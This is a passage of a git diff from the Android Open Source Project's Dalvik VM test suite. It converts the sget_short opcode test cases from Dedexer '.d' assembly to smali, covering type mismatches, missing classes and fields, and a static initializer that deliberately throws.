+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_16.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_16;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_17.d
deleted file mode 100644
index 1cc7398..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_17.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_17
-.super java/lang/Object
-
-.field public static i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_17.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_17.smali
new file mode 100644
index 0000000..3f93360
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_17.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_17;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_18.d
deleted file mode 100644
index 7f3ff6b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_18.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_18
-.super java/lang/Object
-
-.field public static i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_18.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_18.smali
new file mode 100644
index 0000000..e704e33
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_18.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_18;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_19.d
deleted file mode 100644
index b9841ae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_19.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_19
-.super java/lang/Object
-
-.field public static i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_19.smali
new file mode 100644
index 0000000..b62b4ec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_19.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_20.d
deleted file mode 100644
index 1ae3803..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_20.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_20
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_20.smali
new file mode 100644
index 0000000..7493fd7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_20.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_3.d
deleted file mode 100644
index 9dcbd24..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_3.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_3
-.super java/lang/Object
-
-.field public static i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-short v3, dot.junit.opcodes.sget_short.d.T_sget_short_3.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_3.smali
new file mode 100644
index 0000000..426be5e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_3.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_3;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v3, Ldot/junit/opcodes/sget_short/d/T_sget_short_3;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_4.d
deleted file mode 100644
index ab070e6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_4.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_4
-.super java/lang/Object
-
-.field public static i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       sget-short v1, dot.junit.opcodes.sget_short.d.T_sget_short_4.i1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_4.smali
new file mode 100644
index 0000000..d9991bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_4.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_4;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_4;->i1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_5.d
deleted file mode 100644
index b7c451a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_5.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_5.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_5
-.super java/lang/Object
-
-.field public i1 S
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-
-       const v2, 77
-       iput-short v2, v3, dot.junit.opcodes.sget_short.d.T_sget_short_5.i1 S
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       sget-short v1, dot.junit.opcodes.sget_short.d.T_sget_short_5.i1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_5.smali
new file mode 100644
index 0000000..233e577
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_5.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_5.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_5;
+.super  Ljava/lang/Object;
+
+.field public i1:S
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const v2, 77
+       iput-short v2, v3, Ldot/junit/opcodes/sget_short/d/T_sget_short_5;->i1:S
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_5;->i1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_6.d
deleted file mode 100644
index ce1ec34..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_6.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       sget-short v1, dot.junit.opcodes.sget_short.TestStubs.TestStubField S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_6.smali
new file mode 100644
index 0000000..d9985a7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_6.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/TestStubs;->TestStubField:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_7.d
deleted file mode 100644
index 2c82957..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_7.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       sget-short v1, dot.junit.opcodes.sget_short.d.T_sget_short_7no_class.i1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_7.smali
new file mode 100644
index 0000000..be7b196
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_7.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_7no_class;->i1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_8.d
deleted file mode 100644
index 645aa56..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_8.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       sget-short v1, dot.junit.opcodes.sget_short.d.T_sget_short_8.i1N S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_8.smali
new file mode 100644
index 0000000..5ef339a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_8.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_8;->i1N:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_9.d
deleted file mode 100644
index 85d6755..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_9.d
+++ /dev/null
@@ -1,53 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source StubInitError.java
-.class public dot.junit.opcodes.sget_short.d.StubInitError
-.super java/lang/Object
-
-.field public static value S
-
-.method static <clinit>()V
-.limit regs 2
-
-       const/4 v0, 0
-       const/4 v1, 1
-       div-int/2addr v1, v0
-
-       const v1, 1
-       sput-short v1, dot.junit.opcodes.sget_short.d.StubInitError.value S
-       return-void
-.end method
-
-
-.source T_sget_short_9.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       sget-short v1, dot.junit.opcodes.sget_short.d.StubInitError.value S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_9.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_9.smalis/StubInitError.smali
new file mode 100644
index 0000000..dfc4ade
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_9.smalis/StubInitError.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_short/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:S
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x1
+
+    div-int/2addr v1, v0
+
+    const v1, 0x1
+
+    sput-short v1, Ldot/junit/opcodes/sget_short/d/StubInitError;->value:S
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_9.smalis/T_sget_short_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_9.smalis/T_sget_short_9.smali
new file mode 100644
index 0000000..7e9ee67
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_9.smalis/T_sget_short_9.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
